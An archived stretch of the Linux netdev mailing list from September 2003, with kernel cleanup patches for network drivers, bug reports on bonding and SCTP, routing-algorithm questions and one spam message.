linux-260-test5-kj-rddunlap/drivers/net/sk98lin/skge.c | 1 - 2 files changed, 5 deletions(-) diff -puN drivers/net/sk98lin/h/skdrv1st.h~version_sk98lin drivers/net/sk98lin/h/skdrv1st.h --- linux-260-test5-kj/drivers/net/sk98lin/h/skdrv1st.h~version_sk98lin 2003-09-10 17:09:09.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/sk98lin/h/skdrv1st.h 2003-09-10 17:09:09.000000000 -0700 @@ -107,9 +107,6 @@ #ifndef __INC_SKDRV1ST_H #define __INC_SKDRV1ST_H -/* Check kernel version */ -#include - typedef struct s_AC SK_AC; /* Set card versions */ @@ -135,7 +132,6 @@ typedef struct s_AC SK_AC; #error You must compile this driver with "-O". #endif -#include #include #include #include diff -puN drivers/net/sk98lin/skge.c~version_sk98lin drivers/net/sk98lin/skge.c --- linux-260-test5-kj/drivers/net/sk98lin/skge.c~version_sk98lin 2003-09-10 17:09:09.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/sk98lin/skge.c 2003-09-10 17:09:09.000000000 -0700 @@ -361,7 +361,6 @@ * * * "h/skdrv1st.h" - * * * * _ From rddunlap@osdl.org Wed Sep 17 15:40:40 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Sep 2003 15:40:47 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8HMecFx014882 for ; Wed, 17 Sep 2003 15:40:39 -0700 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8HMeXo07866; Wed, 17 Sep 2003 15:40:33 -0700 Date: Wed, 17 Sep 2003 15:31:29 -0700 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: jgarzik@pobox.com Subject: [PATCH] janitor: remove unneeded includes (skfp) Message-Id: <20030917153129.355860eb.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 31 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Hi, Please apply to 2.6.0-test5-current. -- ~Randy From: Randy Hron diff -Nur linux-2.6.0-test3-bk8/drivers/net/skfp/h/targetos.h linux/drivers/net/skfp/h/targetos.h linux-260-test5-kj-rddunlap/drivers/net/skfp/h/targetos.h | 1 - 1 files changed, 1 deletion(-) diff -puN drivers/net/skfp/h/targetos.h~version_skfp drivers/net/skfp/h/targetos.h --- linux-260-test5-kj/drivers/net/skfp/h/targetos.h~version_skfp 2003-09-10 17:09:20.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/skfp/h/targetos.h 2003-09-10 17:09:20.000000000 -0700 @@ -43,7 +43,6 @@ #undef ADDR -#include #include #include #include _ From rddunlap@osdl.org Wed Sep 17 15:40:40 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Sep 2003 15:41:03 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8HMecFx014874 for ; Wed, 17 Sep 2003 15:40:39 -0700 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8HMcWo07346; Wed, 17 Sep 2003 15:38:32 -0700 Date: Wed, 17 Sep 2003 15:27:24 -0700 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: jgarzik@pobox.com, mikep@linuxtr.net, linux-tr@linuxtr.net Subject: [PATCH] janitor: remove unneeded includes (tokenring) Message-Id: <20030917152724.342327e9.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 33 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Hi, Please apply to 2.6.0-test5-current. Thanks, -- ~Randy From: Randy Hron linux-260-test5-kj-rddunlap/drivers/net/tokenring/lanstreamer.h | 2 ++ linux-260-test5-kj-rddunlap/drivers/net/tokenring/smctr.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/tokenring/tms380tr.c | 1 - 3 files changed, 2 insertions(+), 2 deletions(-) diff -puN drivers/net/tokenring/lanstreamer.h~drivers_net_tokenring drivers/net/tokenring/lanstreamer.h --- linux-260-test5-kj/drivers/net/tokenring/lanstreamer.h~drivers_net_tokenring 2003-09-11 10:42:06.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/tokenring/lanstreamer.h 2003-09-11 10:42:06.000000000 -0700 @@ -60,6 +60,8 @@ * */ +#include + #if STREAMER_IOCTL && (LINUX_VERSION_CODE < KERNEL_VERSION(2,5,0)) #include #define IOCTL_PRINT_RX_BUFS SIOCDEVPRIVATE diff -puN drivers/net/tokenring/smctr.c~drivers_net_tokenring drivers/net/tokenring/smctr.c --- linux-260-test5-kj/drivers/net/tokenring/smctr.c~drivers_net_tokenring 2003-09-11 10:42:06.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/tokenring/smctr.c 2003-09-11 10:42:06.000000000 -0700 @@ -29,7 +29,6 @@ */ #include -#include #include #include #include diff -puN drivers/net/tokenring/tms380tr.c~drivers_net_tokenring drivers/net/tokenring/tms380tr.c --- linux-260-test5-kj/drivers/net/tokenring/tms380tr.c~drivers_net_tokenring 2003-09-11 10:42:06.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/tokenring/tms380tr.c 2003-09-11 10:42:06.000000000 -0700 @@ -77,7 +77,6 @@ static const char version[] = "tms380tr. #endif #include -#include #include #include #include _ From sri@us.ibm.com Wed Sep 17 16:07:43 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Sep 2003 16:07:50 -0700 (PDT) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8HN7GFx017615 for ; Wed, 17 Sep 2003 16:07:43 -0700 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e35.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id h8HN6QPK451668; Wed, 17 Sep 2003 19:06:26 -0400 Received: from w-sridhar.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id h8HN6Ibt209324; Wed, 17 Sep 2003 17:06:19 -0600 Date: Wed, 17 Sep 2003 16:06:18 -0700 (PDT) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: Arnaldo Carvalho de Melo cc: Linux Networking Development Mailing List , Subject: Re: net/sctp/sm_make_chunk.c alignment problems on parisc64 In-Reply-To: <20030912164628.GF8713@conectiva.com.br> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 34 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev On Fri, 12 Sep 2003, Arnaldo Carvalho de Melo wrote: > Latest 2.6 bk tree, but I think this is hanging there for quite a while. > > CC [M] net/sctp/sm_make_chunk.o > {standard input}: Assembler messages: > {standard input}:2386: Error: Field not properly aligned [8] (52). > {standard input}:2386: Error: Invalid operands > {standard input}:2398: Error: Field not properly aligned [8] (52). > {standard input}:2398: Error: Invalid operands > make[2]: *** [net/sctp/sm_make_chunk.o] Error 1 > make[1]: *** [net/sctp] Error 2 > make: *** [net] Error 2 > > it happens in the sctp_pack_cookie function. I don't see this problem on i386, ia64 or ppc64. Can someone familiar with parisc64 provide more details or submit a a patch to fix this problem? Thanks Sridhar From jt@bougret.hpl.hp.com Wed Sep 17 16:24:04 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Sep 2003 16:24:09 -0700 (PDT) Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8HNNrFx021114 for ; Wed, 17 Sep 2003 16:23:53 -0700 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel13.hp.com (Postfix) with ESMTP id B9F221C01949; Wed, 17 Sep 2003 15:49:52 -0700 (PDT) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_28810)/8.9.3 HPLabs Timeshare Server) with ESMTP id PAA17796; Wed, 17 Sep 2003 15:49:48 -0700 (PDT) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 19zl7M-0000tg-00; Wed, 17 Sep 2003 15:49:48 -0700 Date: Wed, 17 Sep 2003 15:49:48 -0700 To: "Randy.Dunlap" Cc: netdev@oss.sgi.com, jgarzik@pobox.com Subject: Re: [PATCH] janitor: remove (or add) unneeded includes (wireless) Message-ID: <20030917224948.GB3351@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com References: <20030917151738.76585759.rddunlap@osdl.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030917151738.76585759.rddunlap@osdl.org> User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 35 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev On Wed, Sep 17, 2003 at 03:17:38PM -0700, Randy.Dunlap wrote: > > Hi, > Please apply to 2.6.0-test5-current. > > Thanks, > -- > ~Randy No problem on my side (I don't maintain those drivers). Send the patch to Jeff or David. Thanks. Jean From kristenc@cs.pdx.edu Wed Sep 17 16:47:58 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Sep 2003 16:48:03 -0700 (PDT) Received: from rigel.cs.pdx.edu (root@rigel.cs.pdx.edu [131.252.208.59]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8HNlwFx022016 for ; Wed, 17 Sep 2003 16:47:58 -0700 Received: from sirius.cs.pdx.edu (root@sirius.cs.pdx.edu [131.252.208.57]) by rigel.cs.pdx.edu (8.12.8/8.12.8) with ESMTP id h8HNlsZx011794 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 17 Sep 2003 16:47:55 -0700 (PDT) Received: from sirius.cs.pdx.edu (kristenc@localhost [127.0.0.1]) by sirius.cs.pdx.edu (8.12.8/8.12.8) with ESMTP id h8HNlsYk013096 for ; Wed, 17 Sep 2003 16:47:54 -0700 (PDT) Received: (from kristenc@localhost) by sirius.cs.pdx.edu (8.12.8/8.12.8/Submit) id h8HNlrZY013095 for netdev@oss.sgi.com; Wed, 17 Sep 2003 16:47:53 -0700 (PDT) Date: Wed, 17 Sep 2003 16:47:53 -0700 From: Kristen Carlson To: netdev@oss.sgi.com Subject: linux 2.4 routing algorithm? Message-ID: <20030917234753.GB11250@sirius.cs.pdx.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i X-Virus-Scanned: by amavisd-new X-archive-position: 36 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kristenc@cs.pdx.edu Precedence: bulk X-list: netdev Hello, I'm trying to understand the routing algorithm for linux 2.4. I thought it would use a longest prefix match due to some documentation I had googled, but the code in route.c looks like a hash. I probably just don't understand how lpm would be coded in practice. Am I looking in the right place? Can someone give me a clue about how this works? Thanks, Kristen -- WWXD (What Would Xena Do?) From a_ga_l@fromru.com Wed Sep 17 23:40:05 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Sep 2003 23:40:09 -0700 (PDT) Received: from relay2.hotbox.ru ([217.146.195.168]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8I6doFx013147 for ; Wed, 17 Sep 2003 23:39:58 -0700 From: "Gallery-a" To: netdev@oss.sgi.com Subject: Present of new painters (0877230471)@dv -ERR Date: 18 Sep 2003 10:37:50 +0400 Message-ID: <2003.09.18.15B407C9066567A6@fromru.com> MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit X-archive-position: 37 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: a_ga_l@fromru.com Precedence: bulk X-list: netdev Dear Ladies and Gentlemen, We are pleased to inform you, that our Gallery has been updated. We had also updated our link exchange system. Now you will be able to automatically add your link to our links catalogue. http://www.gallery-a.ru/links/register.php We would also like to introduce you a new artist, Tatiana Tjangova. You will be able to have a look on some paintings of her which were painted during the summer period. .http://www.gallery-a.ru/painter.php?aid=101  Welcome to our website! Gallery curator. Also available on our site E-Cards:http://www.gallery-a.ru/ecards/compose.php Wallpapers: http://www.gallery-a.ru/luxury.php Welcome to our website! Gallery curator. Sorry if that information not interesting for You and we disturb You with our message! For removing yor address from this mailing list just replay this message with word 'unsubscribe' in subject field or simple click this link: http://www.gallery-a.ru/unsubscribe.php?e=bmV0ZGV2QG9zcy5zZ2kuY29tOjE2OTg0NjYw From eric@ebiederm.dsl.xmission.com Thu Sep 18 02:36:31 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Sep 2003 02:36:49 -0700 (PDT) Received: from ebiederm.dsl.xmission.com (ebiederm.dsl.xmission.com [166.70.28.69]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8I9aVFx025493 for ; Thu, 18 Sep 2003 02:36:31 -0700 Received: from ebiederm.dsl.xmission.com (localhost [127.0.0.1]) by ebiederm.dsl.xmission.com (8.12.3/8.12.3/Debian-6.4) with ESMTP id h8I9aVYb023893; Thu, 18 Sep 2003 03:36:31 -0600 Received: (from eric@localhost) by ebiederm.dsl.xmission.com (8.12.3/8.12.3/Debian-6.4) id h8I9aT1J023889; Thu, 18 Sep 2003 03:36:29 -0600 To: linux-kernel@vger.kernel.org Cc: Andreas Dilger , Jeff Garzik , "David S. Miller" , netdev@oss.sgi.com Subject: Re: How do I track TG3 peculiarities? References: <20030907220926.G18482@schatzie.adilger.int> From: ebiederm@xmission.com (Eric W. Biederman) Date: 18 Sep 2003 03:36:29 -0600 In-Reply-To: Message-ID: Lines: 10 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 38 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ebiederm@xmission.com Precedence: bulk X-list: netdev And just to wrap this up so no one has a weird feeling. It turns out there was a Opteron rev B3 errata that was did not have a work around in LinuxBIOS. I have talked with AMD and gotten the information I need to work around the errata. And to everyone who gave me hints. Thank you. Eric From shmulik.hen@intel.com Thu Sep 18 02:43:09 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Sep 2003 02:43:16 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8I9h8Fx027549 for ; Thu, 18 Sep 2003 02:43:09 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8I9egC01123 for ; Thu, 18 Sep 2003 09:40:42 GMT Received: from orsmsxvs040.jf.intel.com (orsmsxvs040.jf.intel.com [192.168.65.206]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8I9bi520171 for ; Thu, 18 Sep 2003 09:37:44 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by orsmsxvs040.jf.intel.com (NAVGW 2.5.2.11) with SMTP id M2003091802425915318 ; Thu, 18 Sep 2003 02:43:00 -0700 Content-Type: text/plain; charset="iso-8859-1" From: Shmulik Hen Reply-To: shmulik.hen@intel.com Organization: Intel corp. To: "Ned Bass" , Subject: Re: [Bonding-devel] [BUG] kernel panic on ifconfig bond0 down Date: Thu, 18 Sep 2003 12:42:58 +0300 User-Agent: KMail/1.4.3 References: In-Reply-To: Cc: netdev@oss.sgi.com MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200309181242.58258.shmulik.hen@intel.com> X-archive-position: 39 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev On Wednesday 17 September 2003 11:44 pm, Ned Bass wrote: > Note that the key to make the panic happen is step #3, bringing up > the slave interface. I realize that the slave interface is not > supposed to be brought up prior to bringing up the bonding > interface, but should probably not cause a kernel panic either :). > The panic occurs immediately after entering 'ifconfig bond0 down'. > Also, the panic does not occur if I only enslave eth0 but not eth1. > > There was a bug in patch 8 of the cleanup set that left a dangling pointer in bond_release_all(). Definitely may bad for not announcing that (and removing the patch set from SFG ?). I was relying on the fact that people won't test it after I announced the set needs to be re-done after finding a potential bug in patch 5. I'm currently in the final stages of re-creating the set after implementing the bug fixes and doing some improvements resulting from internal code reviews. Perhaps this time I should publish it as an "experimental" patch set and give everyone a chance to try it out while our QA group grinds it to dust. -- | Shmulik Hen Advanced Network Services | | Israel Design Center, Jerusalem | | LAN Access Division, Platform Networking | | Intel Communications Group, Intel corp. | From fubar@us.ibm.com Thu Sep 18 09:41:42 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Sep 2003 09:41:57 -0700 (PDT) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8IGfZFx013265 for ; Thu, 18 Sep 2003 09:41:42 -0700 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id h8IGerbl325394; Thu, 18 Sep 2003 12:40:53 -0400 Received: from death.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id h8IGeoDY148424; Thu, 18 Sep 2003 10:40:52 -0600 Received: from us.ibm.com (fubar@localhost) by death.ibm.com (8.12.5/8.12.5/Submit) with ESMTP id h8IGehSx015526; Thu, 18 Sep 2003 09:40:45 -0700 Message-Id: <200309181640.h8IGehSx015526@death.ibm.com> X-Authentication-Warning: death.ibm.com: fubar owned process doing -bs To: shmulik.hen@intel.com cc: "Ned Bass" , bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: [Bonding-devel] [BUG] kernel panic on ifconfig bond0 down In-Reply-To: Message from Shmulik Hen of "Thu, 18 Sep 2003 12:42:58 +0300." <200309181242.58258.shmulik.hen@intel.com> Date: Thu, 18 Sep 2003 09:40:43 -0700 From: Jay Vosburgh X-archive-position: 40 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: fubar@us.ibm.com Precedence: bulk X-list: netdev >There was a bug in patch 8 of the cleanup set that left a dangling >pointer in bond_release_all(). Definitely may bad for not announcing >that (and removing the patch set from SFG ?). I was relying on the >fact that people won't test it after I announced the set needs to be >re-done after finding a potential bug in patch 5. > >I'm currently in the final stages of re-creating the set after >implementing the bug fixes and doing some improvements resulting from >internal code reviews. Perhaps this time I should publish it as an >"experimental" patch set and give everyone a chance to try it out >while our QA group grinds it to dust. I think there's still problems in the checked in code. I did my tests on 2.6.0-test5 plus 2.6.0-test5-bk2-netdrvr1, which doesn't include the cleanup set, so there's at least one (potential sleep with lock held in bond_mii_monitor()), possibly two, other bugs. I'm getting ready to do some tests with 2.4.23-pre4 to see what I find. -J --- -Jay Vosburgh, IBM Linux Technology Center, fubar@us.ibm.com From shemminger@osdl.org Thu Sep 18 10:27:46 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Sep 2003 10:27:52 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8IHRhFx016813 for ; Thu, 18 Sep 2003 10:27:45 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8IHRUo00977; Thu, 18 Sep 2003 10:27:30 -0700 Date: Thu, 18 Sep 2003 10:27:09 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] more const in skbuff Message-Id: <20030918102709.34211ee5.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 41 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev More test inline functions should take const args. diff -Nru a/include/linux/skbuff.h b/include/linux/skbuff.h --- a/include/linux/skbuff.h Thu Sep 18 10:24:35 2003 +++ b/include/linux/skbuff.h Thu Sep 18 10:24:35 2003 @@ -306,7 +306,7 @@ * * Returns true if the queue is empty, false otherwise. */ -static inline int skb_queue_empty(struct sk_buff_head *list) +static inline int skb_queue_empty(const struct sk_buff_head *list) { return list->next == (struct sk_buff *)list; } @@ -357,7 +357,7 @@ * one of multiple shared copies of the buffer. Cloned buffers are * shared data so must not be written to under normal circumstances. */ -static inline int skb_cloned(struct sk_buff *skb) +static inline int skb_cloned(const struct sk_buff *skb) { return skb->cloned && atomic_read(&skb_shinfo(skb)->dataref) != 1; } @@ -369,7 +369,7 @@ * Returns true if more than one person has a reference to this * buffer. */ -static inline int skb_shared(struct sk_buff *skb) +static inline int skb_shared(const struct sk_buff *skb) { return atomic_read(&skb->users) != 1; } @@ -477,7 +477,7 @@ * * Return the length of an &sk_buff queue. */ -static inline __u32 skb_queue_len(struct sk_buff_head *list_) +static inline __u32 skb_queue_len(const struct sk_buff_head *list_) { return list_->qlen; } From kristenc@cs.pdx.edu Thu Sep 18 10:29:15 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Sep 2003 10:29:19 -0700 (PDT) Received: from rigel.cs.pdx.edu (root@rigel.cs.pdx.edu [131.252.208.59]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8IHTEFx017102 for ; Thu, 18 Sep 2003 10:29:14 -0700 Received: from sirius.cs.pdx.edu (root@sirius.cs.pdx.edu [131.252.208.57]) by rigel.cs.pdx.edu (8.12.8/8.12.8) with ESMTP id h8IHTAZx012323 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 18 Sep 2003 10:29:11 -0700 (PDT) Received: from sirius.cs.pdx.edu (kristenc@localhost [127.0.0.1]) by sirius.cs.pdx.edu (8.12.8/8.12.8) with ESMTP id h8IHTAYk023626 for ; Thu, 18 Sep 2003 10:29:10 -0700 (PDT) Received: (from kristenc@localhost) by sirius.cs.pdx.edu (8.12.8/8.12.8/Submit) id h8IHTAoe023625 for netdev@oss.sgi.com; Thu, 18 Sep 2003 10:29:10 -0700 (PDT) Date: Thu, 18 Sep 2003 10:29:10 -0700 From: Kristen Carlson To: netdev@oss.sgi.com Subject: patricia tries vs. hash for routing? Message-ID: <20030918172910.GA22091@sirius.cs.pdx.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i X-Virus-Scanned: by amavisd-new X-archive-position: 42 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kristenc@cs.pdx.edu Precedence: bulk X-list: netdev Status: RO Content-Length: 340 Lines: 11 Hi, I'm wondering if somebody has already written a patch that replaces the current routing algorithm (hash) with one that is based on a trie based algorithm? I'm also wondering if anybody has done any performance comparisons with very large route tables to see which one scales better? thanks, Kristen -- WWXD (What Would Xena Do?) From rddunlap@osdl.org Thu Sep 18 11:27:58 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Sep 2003 11:28:02 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8IIRvFx022259 for ; Thu, 18 Sep 2003 11:27:58 -0700 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8IIRpU13770; Thu, 18 Sep 2003 11:27:51 -0700 Date: Thu, 18 Sep 2003 11:21:06 -0700 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: ncorbic@sangoma.com, davem@redhat.com Subject: [PATCH] [WAN] use module_exit in sdladrv Message-Id: <20030918112106.198f3677.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 43 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 870 Lines: 32 Hi, Please apply to 2.6.0-test5-current. Thanks, -- ~Randy patch_name: sdladrv_module.patch patch_version: 2003-09-18.11:30:51 author: Randy.Dunlap description: use "module_exit" instead of "module_cleanup"; product: Linux product_versions: 2.6.0-test5 maintainer: ncorbic@sangoma.com diffstat: = drivers/net/wan/sdladrv.c | 2 +- 1 files changed, 1 insertion(+), 1 deletion(-) diff -Naurp ./drivers/net/wan/sdladrv.c~sdlamod ./drivers/net/wan/sdladrv.c --- ./drivers/net/wan/sdladrv.c~sdlamod 2003-09-08 12:49:58.000000000 -0700 +++ ./drivers/net/wan/sdladrv.c 2003-09-18 11:29:29.000000000 -0700 @@ -351,7 +351,7 @@ static void sdladrv_cleanup(void) } module_init(sdladrv_init); -module_cleanup(sdladrv_cleanup); +module_exit(sdladrv_cleanup); #endif /******* Kernel APIs ********************************************************/ From Robert.Olsson@data.slu.se Thu Sep 18 11:35:43 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Sep 2003 11:35:49 -0700 (PDT) Received: from mail1.slu.se (mail1.slu.se [130.238.96.11]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8IIZgFx022742 for ; Thu, 18 Sep 2003 11:35:42 -0700 Received: from robur.slu.se (robur.slu.se [130.238.98.12]) by mail1.slu.se (8.9.3+/8.9.3) with ESMTP id UAA08355; Thu, 18 Sep 2003 20:35:24 +0200 Received: by robur.slu.se (Postfix, from userid 1000) id B7103EDB9B; Thu, 18 Sep 2003 20:35:36 +0200 (CEST) Date: Thu, 18 Sep 2003 20:35:36 +0200 To: netdev@oss.sgi.com, davem@redhat.com, jgarzik@pobox.com, akpm@osdl.org Message-ID: <3F69FAF8.mail2M211N69M@robur.slu.se> User-Agent: nail 10.4 1/19/03 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit From: Robert.Olsson@data.slu.se (Robert Olsson) X-archive-position: 44 Subject: (no subject) X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Robert.Olsson@data.slu.se Precedence: bulk X-list: netdev Status: RO Content-Length: 1755 Lines: 61 From: Robert Olsson MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16233.64248.666702.679433@robur.slu.se> Date: Thu, 18 Sep 2003 20:35:36 +0200 To: Andrew Morton Cc: Jeff Garzik , davem@redhat.com, netdev@oss.sgi.com Subject: Re: netif_poll_disable() hangs In-Reply-To: <20030908002914.737122a9.akpm@osdl.org> References: <20030907232145.6ec197fd.akpm@osdl.org> <3F5C2D1A.5050500@pobox.com> <20030908002914.737122a9.akpm@osdl.org> X-Mailer: VM 6.92 under Emacs 21.2.1 Andrew Morton writes: > > > > > > ifup eth0 > > > ifdown eth0 > > > ifup eth0 > > > ifdown eth0 <- hangs in dev_close -> netif_poll_disable() > 2.4 does test_bit, 2.6 does test_and_set_bit. Yeep. I noticed this too in 2.6.0-test5 